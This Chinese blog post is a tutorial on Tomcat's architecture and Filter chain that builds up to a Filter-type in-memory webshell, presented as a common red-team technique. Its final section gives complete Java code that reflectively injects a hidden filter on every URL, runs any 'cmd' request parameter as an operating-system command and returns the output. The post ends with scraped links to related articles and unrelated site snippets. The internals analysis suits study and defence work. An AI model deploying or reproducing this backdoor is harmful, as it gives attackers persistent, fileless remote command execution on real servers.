Java安全之基于Tomcat的Filter型内存马
Java安全之基于Tomcat的Filter型内存马
写在前面
现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马。而对于内存马的支持也是五花八门,甚至各大公司都有自己魔改的webshell管理工具,下面就从Tomcat开始学习内存马部分内容。
内存马主要分为以下几类:
servlet-api类
- filter型
- servlet型
spring类
- 拦截器
- controller型
Java Instrumentation类
- agent型
Tomcat基础知识
首先简单说下Filter
Filter:自定义Filter的实现,需要实现javax.servlet.Filter下的init()、doFilter()、destroy()三个方法。
- 启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
- 每一次请求时都只调用方法doFilter()进行处理;
- 停止服务器时调用destroy()方法,销毁实例。
web.xml对于三大组件的加载顺序是:listener -> filter -> servlet
再看一下Tomcat的架构


其中涉及到很多Tomcat的组件
- Server: 
 Server,即指的WEB服务器,一个Server包括多个Service。
- Service: - Service的作用是在 - Connector和- Engine外面包了一层(可看上图),把它们组装在一起,对外提供服务。一个- Service可以包含多个- Connector,但是只能包含一个- Engine,其中- Connector的作用是从客户端接收请求,Engine的作用是处理接收进来的请求。后面再来细节分析Service。
- Connector: - Tomcat有两个典型的 - Connector,一个直接侦听来自browser的http请求,一个侦听来自其它WebServer的请求Coyote Http/1.1 Connector 在端口8080处侦听来自客户browser的http请求
 Coyote JK2 Connector 在端口8009处侦听来自其它WebServer(Apache)的servlet/jsp代理请求。
- Engine: - Engine下可以配置多个虚拟主机,每个虚拟主机都有一个域名,当 - Engine获得一个请求时,它把该请求匹配到某个- Host上,然后把该请求交给该- Host来处理,- Engine有一个默认虚拟主机,当请求无法匹配到任何一个- Host上的时候,将交给该默认Host来处理。
- Host: - 代表一个虚拟主机,每个虚拟主机和某个网络域名Domain Name相匹配 
 每个虚拟主机下都可以部署(deploy)一个或者多个Web App,每个Web App对应于一个Context,有一个Context path,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理匹配的方法是“最长匹配”,所以一个path==""的Context将成为该Host的默认Context,所有无法和其它Context的路径名匹配的请求都将最终和该默认Context匹配。
- Context: - 一个Context对应于一个Web Application,一个 - WebApplication由一个或者多个Servlet组成
 Context在创建的时候将根据配置文件- $CATALINA_HOME/conf/web.xml和- $WEBAPP_HOME/WEB-INF/web.xml载入Servlet类,当Context获得请求时,将在自己的映射表(mapping table)中寻找相匹配的Servlet类。如果找到,则执行该类,获得请求的回应,并返回。
Connector
Connector也被叫做连接器。Connector将在某个指定的端口上来监听客户的请求,把从socket传递过来的数据,封装成Request,传递给Engine来处理,并从Engine处获得响应并返回给客户端。
Engine:最顶层容器组件,其下可以包含多个 Host。
Host:一个 Host 代表一个虚拟主机,其下可以包含多个 Context。
Context:一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。
Wrapper:一个 Wrapper 代表一个 Servlet。

ProtocolHandler
在Connector中,包含了多个组件,Connector使用ProtocolHandler处理器来处理请求。不同的ProtocolHandler代表不同连接类型。ProtocolHandler处理器可以用看作是协议处理统筹者,通过管理其他工作组件实现对请求的处理。ProtocolHandler包含了三个非常重要的组件,这三个组件分别是:
- Endpoint: 负责接受,处理socket网络连接
- Processor: 负责将从Endpoint接受的socket连接根据协议类型封装成request
- Adapter:负责将封装好的Request交给Container进行处理,解析为可供Container调用的继承了		      ServletRequest接口、ServletResponse接口的对象。
请求经Connector处理完毕后,传递给Container进行处理。
Container
Container容器则是负责封装和管理Servlet 处理用户的servlet请求,并返回对象给web用户的模块。

Container 处理请求,内部是使用Pipeline-Value管道来处理的,每个 Pipeline 都有特定的 Value(BaseValue),BaseValue 会在最后执行。上层容器的BaseValue 会调用下层容器的管道,FilterChain 其实就是这种模式,FilterChain相当于 Pipeline,每个 Filter 相当于一个 Value。4 个容器的BaseValve 分别是StandardEngineValve、StandardHostValve 、StandardContextValve 和StandardWrapperValve。每个Pipeline 都有特定的Value ,而且是在管道的最后一个执行,这个Valve 叫BaseValve,BaseValve 是不可删除的。
过滤链:在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以针对某一个 URL 进行拦截。如果多个 Filter 程序都对同一个 URL 进行拦截,那么这些 Filter 就会组成一个Filter 链(也称
过滤器链)。

如果做过Java web开发的话,不难发现在配置Filter 的时候,假设执行完了就会来到下一个Filter 里面,如果都FilterChain.doFilter进行放行的话,那么这时候才会执行servlet内容。原理如上。
整体的执行流程,如下图:

ServletContext
javax.servlet.ServletContextServlet规范中规定了的一个ServletContext接口,提供了Web应用所有Servlet的视图,通过它可以对某个Web应用的各种资源和功能进行访问。WEB容器在启动时,它会为每个Web应用程序都创建一个对应的ServletContext,它代表当前Web应用。并且它被所有客户端共享。这个是Servlet中的概念,ServletContext的方法中有addFilter、addServlet、addListener方法,即添加Filter、Servlet、Listener
获取ServletContext的方法:
this.getServletContext();
this.getServletConfig().getServletContext();
ApplicationContext
org.apache.catalina.core.ApplicationContext
对应Tomcat容器,为了满足Servlet规范,必须包含一个ServletContext接口的实现。Tomcat的Context容器中都会包含一个ApplicationContext。这里的ApplicationContext类似于Servlet API中的ServletContext,在addFilter、addServlet、addListener方法。

StandardContext
Catalina主要包括Connector和Container,StandardContext就是一个Container,它主要负责对进入的用户请求进行处理。实际来说,不是由它来进行处理,而是交给内部的valve处理。
一个context表示了一个外部应用,它包含多个wrapper,每个wrapper表示一个servlet定义。(Tomcat 默认的 Service 服务是 Catalina)
以上内容摘抄自:https://www.cnblogs.com/nice0e3/p/14622879.html
Filter Chain与Filter创建分析
因为本文主要是实现一个Filter型的内存马,所以需要在内存中动态注册一个恶意的filter来实现内存shell,这其中就涉及到Filter Chain(过滤链)的实现以及Filter执行的先后顺序问题,所以先创建一个普通的Filter来看一下在Tomcat中的处理流程。
先创建一个Filter,配置路由,在doFilter处下断点debug
@WebFilter("/demo")
public class demoFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        servletRequest.setCharacterEncoding("UTF-8");
        servletResponse.setCharacterEncoding("UTF-8");
        System.out.println("Filter run start......");
        filterChain.doFilter(servletRequest,servletResponse);   //让我们的请求继续走,如果不写,程序到这里就被拦截停止。后面还有其他过滤器,需要把这次的req和resp传给后面的Filter
        System.out.println("Filter run stop......");
    }
    @Override
    public void destroy() {
    }
}
一般开发写的filter都会有filterChain.doFilter(servletRequest,servletResponse);,让filter继续往后走,保证过滤链不会在这里中断,我们跟入进去,在catalina.jar!/org/apache/catalina/core/ApplicationFilterChain.class#doFilter方法中先做了判断Globals.IS_SECURITY_ENABLED,该值判断是否设置了SecurityManager,默认未开启,跳入else中internalDoFilter方法

在internalDoFilter方法中,先通过filterConfig.getFilter()方法获取到filter实例,之后走到该filter实例中的dofilter方法,也就是filer chain中,通过dofilter方法可以按顺序层层迭代及获取已经注册的filter实例并调用执行filter中的dofilter方法,来实现一个过滤链。

也就是说当我们存在一个可执行任意代码的点,我们在动态注册好恶意的filter后可以通过下面这条链来进入我们恶意的filter#doFilter()方法中执行代码,调用过程如下:
filterChain.doFilter()
	this.internalDoFilter()
		filter.doFilter()
那后面就是找如何调用这里的filterChain.doFilter,回溯调用栈,在catalina.jar!/org/apache/catalina/core/StandardWrapperValve.class#invoke方法中,调用了filterChain.doFilter方法

浏览整个invoke方法,在上面发现通过ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);将客户端输入的request、StandardWrapper wrapper、Servlet servlet 作为参数传入createFilterChain方法创建了过滤链(FilterChain)

跟入ApplicationFilterFactory.createFilterChain方法,在其中通过拿到StandardContext上下文获取到FilterMaps而FilterMaps中保存了我们注册好的Filter

继续往下看,之后就是遍历上面拿到的FilterMaps,并对其进行判断,当前请求与请求的url和本次迭代拿到的filter匹配时,并根据本次迭代的Filter名称在StandardContext中也能找到相应的FilterConfig对象(在 FilterConfig中主要存放 FilterDef 和 Filter对象等信息),那么就会将该FilterConfig添加到Filterchain中。
简单提一下matchDispacher方法中的参数dispatcher:
dispatcher 表示在过滤用户的请求时,过滤什么类型的请求?Forward,Request,Include,Error,Async,一般web就是Request。

那么现在调用过程如下:
StandardWrapperValve.invoke()
	ApplicationFilterFactory.createFilterChain()
		StandardContext context = (StandardContext)wrapper.getParent();
    FilterMap[] filterMaps = context.findFilterMaps();
    filterChain.addFilter(filterConfig)
  filterChain.doFilter()
    this.internalDoFilter()
      filter.doFilter()
贴一张宽字节的图

Filter创建流程
以平常开发的流程为例的话,一般都是在web.xml中注册,将url和filter类进行绑定从而创建filter。
从代码方面注册可以通过StandardContext入手,StandardContext会加载web.xml中的配置来创建Servlet、Filter
其中包含了3个有关filter的属性
private Map<String, ApplicationFilterConfig> filterConfigs = new HashMap();
private Map<String, FilterDef> filterDefs = new HashMap();
private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();

内存马实现
那根据参考文章的话,只需要拿到StandardContext并设置好这三个属性值即可。
尝试构造
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
@WebServlet("/demo2")
public class FilterMemshell extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        final ServletContext servletContext = req.getServletContext();
        Field appctx = null;
        try {
            appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
            String FilterName = "FilterMemshell";
            Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
            configs.setAccessible(true);
            Map filterconfigs = (Map) configs.get(standardContext);
            if (filterconfigs.get(FilterName) == null){
                Filter filter = new Filter(){
                    @Override
                    public void init(FilterConfig filterConfig) throws ServletException {
                    }
                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        String cmd = servletRequest.getParameter("cmd");
                        if (cmd!=null){
                            InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                            BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
                            int len;
                            while ((len = bufferedInputStream.read())!=-1){
                                servletResponse.getWriter().write(len);
                            }
                        }
                    }
                    @Override
                    public void destroy() {
                    }
                };
                //反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
                Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
                Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterDef o = (FilterDef)declaredConstructors.newInstance();
                o.setFilter(filter);
                o.setFilterName(FilterName);
                o.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(o);
                //反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
                Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
                org.apache.tomcat.util.descriptor.web.FilterMap o1 = (org.apache.tomcat.util.descriptor.web.FilterMap)declaredConstructor.newInstance();
                o1.addURLPattern("/*");
                o1.setFilterName(FilterName);
                o1.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(o1);
                //反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
                Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
                Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
                declaredConstructor1.setAccessible(true);
                org.apache.catalina.core.ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
                filterconfigs.put(FilterName,filterConfig);
                resp.getWriter().write("Success");
            }
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        }
    }
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doGet(req, resp);
    }
}

Reference
https://xz.aliyun.com/t/7388#toc-2
http://wjlshare.com/archives/1529
https://www.cnblogs.com/nice0e3/p/14622879.html
Java安全之基于Tomcat的Filter型内存马的更多相关文章
- 6. 站在巨人的肩膀学习Java Filter型内存马
		本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ... 
- Java Filter型内存马的学习与实践
		完全参考:https://www.cnblogs.com/nice0e3/p/14622879.html 这篇笔记,来源逗神的指点,让我去了解了内存马,这篇笔记记录的是filter类型的内存马 内存马 ... 
- Java安全之基于Tomcat实现内存马
		Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ... 
- Java安全之基于Tomcat的通用回显链
		Java安全之基于Tomcat的通用回显链 写在前面 首先看这篇文还是建议简单了解下Tomcat中的一些概念,不然看起来会比较吃力.其次是回顾下反射中有关Field类的一些操作. * Field[] ... 
- 议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
		无文件落地Agent型内存马植入 可行性分析 使用jsp写入或者代码执行漏洞,如反序列化等,不需要上传agent Java 动态调试技术原理及实践 - 美团技术团队 (meituan.com) 首先, ... 
- JavaAgent型内存马基础
		Java Instrumentation  java Instrumentation指的是可以用独立于应用程序之外的代理(agent)程序来监测和协助运行在JVM上的应用程序.这种监测和协助包括但不 ... 
- 【免杀技术】Tomcat内存马-Filter
		Tomcat内存马-Filter型 什么是内存马?为什么要有内存马?什么又是Filter型内存马?这些问题在此就不做赘述 Filter加载流程分析 tomcat启动后正常情况下对于Filter的处理过 ... 
- tomcat内存马原理解析及实现
		内存马 简介  Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站.应用.但传统的Webshell都是基于文件类型的,黑客 ... 
- 简单学习java内存马
		看了雷石的内存马深入浅出,就心血来潮看了看,由于本人java贼菜就不介绍原理了,本文有关知识都贴链接吧 前置知识 本次主要看的是tomcat的内存马,所以前置知识有下列 1.tomcat结构,tomc ... 
随机推荐
- redis学习笔记-02 list列表类型命令
			一.lpush key value1 value2 value3 value4(命令将一个或多个值插入到列表头部. 如果 key 不存在,一个空列表会被创建并执行 LPUSH 操作) lpush k1 ... 
- SpringBoot入门01-环境部署
			随笔目录: 环境准备 创建过程 编码试行 环境准备 如果编辑器是还没有配置过相关环境的,在用SpringBoot开发项目的时候,需要先环境,spring boot官网建议的开发工具是: STS或Ide ... 
- Linux常用命令查看文件、别名、切换目录、创建目录、查看当前目录
			一.创建条件(使用liunx常用命令): 1.查看阿里云的环境是否搭建完成 首先快捷键 win+R 输入cmd 回车,打开命令提示符输入命令 ssh,回车. 2.登录阿里云账户 输入命令格式:ssh ... 
- python收集参数与解包
			收集任意数量的实参 def make_pizza(*toppings): """打印顾客点的所有配料""" print(toppings) ... 
- 【二食堂】Beta - 设计和计划
			Beta设计和计划 需求再分析 根据助教.老师.用户以及各个团队PM的反馈意见,我们的项目目前有以下问题: 功能不完整 实用价值不高 两方面的缺陷,所以在Beta阶段,我们工作的中心还是完成项目规划中 ... 
- [技术博客] K-Means算法
			遇到的问题 在对微软\(OCR\)的\(api\)进行测试的过程中,我发现有时候它并不能分析出一个表格的形态,也就是说不知道每个文本对应在表格中的第几行第几列.但是它可以较为准确的给出这些文本的坐标. ... 
- OO面向对象第三次作业总结
			面向对象第三次作业总结 一.JML基础梳理及工具链 注释结构 行注释://@annotation 块注释:/*@ annotation @*/ 两种注释都是放在被注释部分上面. 常见表达式 原子表达式 ... 
- mac上安装lua
			一.背景 最近在操作redis的时候,有些时候是需要原子操作的,而redis中支持lua脚本,因此为了以后学习lua,此处记录一下 lua的安装. 二.mac上安装lua 其余的系统上安装lua步骤大 ... 
- 2021.10.11考试总结[NOIP模拟74]
			T1 自然数 发现\(mex\)是单调不降的,很自然地想到用线段树维护区间端点的贡献. 枚举左端点,用线段树维护每个右端点形成区间的\(mex\)值.每次左端点右移相当于删去一个数. 记\(a_i\) ... 
- BF算法和KMP算法
			这两天复习数据结构(严蔚敏版),记录第四章串中的两个重要算法,BF算法和KMP算法,博主主要学习Java,所以分析采用Java语言,后面会补上C语言的实现过程. 1.Brute-Force算法(暴力法 ... 
